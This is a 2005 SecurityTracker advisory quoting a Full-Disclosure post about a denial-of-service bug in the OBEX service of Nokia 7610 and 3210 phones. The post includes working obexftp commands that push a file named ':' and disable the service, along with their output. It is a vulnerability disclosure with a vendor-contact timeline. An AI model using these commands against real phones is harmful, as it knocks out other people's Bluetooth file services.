Nokia Phones OBEX Bug Lets Remote Users Deny Service
|
|
SecurityTracker Alert ID: 1014973 |
|
SecurityTracker URL: http://securitytracker.com/id/1014973
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Sep 27 2005
|
Impact:
Denial of service via network
|
Exploit Included: Yes
|
Version(s): Nokia 7610 (V4.0.437 15-09-04 RH51), 3210
|
Description:
A vulnerability was reported in the Nokia 7610 and 3210 phones. A remote user can cause denial of service conditions.
A remote user can send an archive with a name of ":" or "\" to exploit a flaw in the OBEX implementation and cause the target service to crash. The exploit requires that the user of the target system accept the incoming connection.
The vendor was notified on September 21, 2005.
A. Ramos reported this vulnerability.
|
Impact:
A remote user can cause denial of service conditions against the OBEX service.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.nokia.com/ (Links to External Site)
|
Cause:
Exception handling error, State error
|
Underlying OS:
|
|
Message History:
None.
|
Source Message Contents
|
Date: Mon, 26 Sep 2005 19:56:25 +0200
Subject: [Full-disclosure] Nokia 7610, 3210 denial of service in OBEX.
|
Title: Nokia 7610, 3210 Denial of Service in OBEX.
Severity: Low
Affected: tested in nokia 7610 and nokia 3210 (maybe others symbian
phones).
Problem type: remote
Details:
----------------------------------------------------------------------------------------------------------
They are some flaw in the OBEX implementation in nokia 7610 (V4.0.437
15-09-04 RH51), and others, that disable this service if you send
archive with name ":" or "\".
----
Quote of IROBEX12.pdf Pag:40, section 4.3 -- (OBEX specification)
"Pushing objects into the inbox Objects are pushed into the inbox by using
the PUT command with a Name header. The string in the Name header
should not contain any path characters such as ‘:’, ‘/’ or ‘\’. Objects with
improperly formed names should be rejected."
----
The device ask for PIN if you are not paired or ask if you want accept a
connection of the remote box, you need ACCEPT. It have low risk ,
becouse dont work if you dont accept the incoming connection.
If connection is established, the file is sended and they arent "New
message arrived" message, like when you send correct archive. Its ok,
the filename is dropped.
The problem is the OBEX service dont work anymore after this, if you
tried to send other file or from some vcard from other device, you cant
connect to the remote OBEX service again.
Demostration with Linux as client:
jim:~# hcitool scan
Scanning ...
00:13:70:5E:1F:01 7610
jim:~# obexftp -b 00:13:70:5E:1F:01 -p \:
Browsing 00:13:70:5E:1F:01 ...
Channel: 10
No custom transport
obexftp_cli_open()
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT 1
cli_sync_request()
obexftp_sync()
client_done()
client_done() Found connection number: -1022384746
client_done() Sender identified
obexftp_sync() OBEX_HandleInput = 31
obexftp_sync() Done success=1
done
Sending ":"... obexftp_put_file() Sending : -> :
build_object_from_file() Lastmod = 2005-09-18T00:16:42Z
cli_sync_request()
cli_fillstream_from_file()
cli_fillstream_from_file() Read 6 bytes
cli_fillstream_from_file()
cli_fillstream_from_file() Read 0 bytes
obexftp_sync()
obexftp_sync() OBEX_HandleInput = 0
failed: :
obexftp_cli_disconnect()
Disconnecting...cli_sync_request()
failed: disconnect
obexftp_cli_close()
# Error pushing other file after send ":" filename:
jim:~# obexftp -b 00:13:70:5E:1F:01 -p /etc/hosts
Browsing 00:13:70:5E:1F:01 ...
Channel: 10
No custom transport
obexftp_cli_open()
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
obexftp_cli_connect_uuid()
Connecting...obexftp_cli_connect_uuid() BT -1
failed: connect
Still trying to connect
----------------------------------------------------------------------------------------------------------
Timeline:
20 Sept 2005: bug found.
21 Sept 2005: Nokia security contacted.
24 Sept 2005: Disclosure in NCN - V congress (http://www.noconname.org).
26 Sept 2005: Full disclosure.
--
A. Ramos.
mailto: <aramosf@unsec.net>
http://www.unsec.net
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
|
|
